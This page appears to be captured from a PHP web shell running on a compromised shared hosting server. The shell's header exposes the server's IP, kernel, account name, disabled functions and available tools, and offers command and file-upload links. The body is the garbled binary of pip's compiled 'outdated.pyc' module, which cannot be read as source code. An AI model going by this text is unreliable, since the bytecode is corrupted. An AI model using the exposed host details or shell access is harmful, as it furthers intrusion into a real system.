Server IP : 111.118.215.189 / Your IP : 3.15.165.138 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib/python2.7/site-packages/pip/utils/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
� r2Wc@@s%ddlmZddlZddlZddlZddlZddlZddlm Z ddl mZddl mZmZddlmZddlmZmZddlmZmZdd lmZd Zeje�Zdefd��YZd efd��YZ d�Z!d�Z"dS(i(tabsolute_importN(tlockfile(tversion(t total_secondstWINDOWS(tPyPI(tUSER_CACHE_DIRtrunning_under_virtualenv(t ensure_dirtget_installed_version(tcheck_path_owners%Y-%m-%dT%H:%M:%SZtVirtualenvSelfCheckStatecB@seZd�Zd�ZRS(cC@sptjjtjd�|_y.t|j��}tj|�|_ WdQXWn t tfk rki|_ nXdS(Nspip-selfcheck.json(tostpathtjointsystprefixtstatefile_pathtopentjsontloadtstatetIOErrort ValueError(tselft statefile((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyt__init__scC@sRt|jd��:}tji|jt�d6|d6|dtdd�WdQXdS( Ntwt last_checktpypi_versiont sort_keyst separatorst,t:(R R!(RRRtdumptstrftimetSELFCHECK_DATE_FMTtTrue(RRtcurrent_timeR((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pytsave$s(t__name__t __module__RR'(((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyRs tGlobalSelfCheckStatecB@seZd�Zd�ZRS(cC@swtjjtd�|_y5t|j�� }tj|�tj |_ WdQXWn#ttt fk rri|_ nXdS(Nsselfcheck.json(RR RRRRRRRRRRRtKeyError(RR((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyR3s#cC@s�ttjj|j��sdSttjj|j��tj|j���tjj|j�r�t |j��}t j|�}WdQXni}i|jt �d6|d6|tj<t |jd��#}t j||dtdd�WdQXWdQXdS( NRRRRRR R!(R R!(R RR tdirnameRRRtLockFiletexistsRRRR#R$RRR"R%(RRR&RR((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyR'=s(R(R)RR'(((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyR*2s cC@st�rt�St�SdS(N(RRR*(((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pytload_selfcheck_statefileXs cC@s�td�}|dkrdStj|�}d}ypt�}tjj�}d|jkr�d|jkr�tjj|jdt �}t ||�dkr�|jd}q�n|dkrE|jtj did d 6�}|j�gtt|j�d�dtj�D]}tj|�js |^q d }|j||�ntj|�} || kr�|j| jkr�tr�d} nd} tjd||| �nWn$tk r�tjddt�nXdS(s�Check for an update for pip. Limit the frequency of checks to once per week. State is stored either in the active virtualenv or in the user's USER_CACHE_DIR keyed off the prefix of the pip script path. tpipNRRiii<theaderssapplication/jsontAccepttreleasestkeyi����s python -m pips�You are using pip version %s, however version %s is available. You should consider upgrading via the '%s install --upgrade pip' command.s5There was an error checking the latest version of piptexc_infoi�i`'i�: (R tNonetpackaging_versiontparseR/tdatetimetutcnowRtstrptimeR$RtgetRtpip_json_urltraise_for_statustsortedtlistRt is_prereleaseR'tbase_versionRtloggertwarningt ExceptiontdebugR%(tsessiontinstalled_versiontpip_versionRRR&Rtresptvtremote_versiontpip_cmd((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pytpip_version_check_sL (#t __future__RR9Rtloggingtos.pathRRtpip._vendorRtpip._vendor.packagingRR7t pip.compatRRt pip.modelsRt pip.locationsRRt pip.utilsRR tpip.utils.filesystemR R$t getLoggerR(RCtobjectRR*R/RN(((s6/usr/lib/python2.7/site-packages/pip/utils/outdated.pyt<module>s$&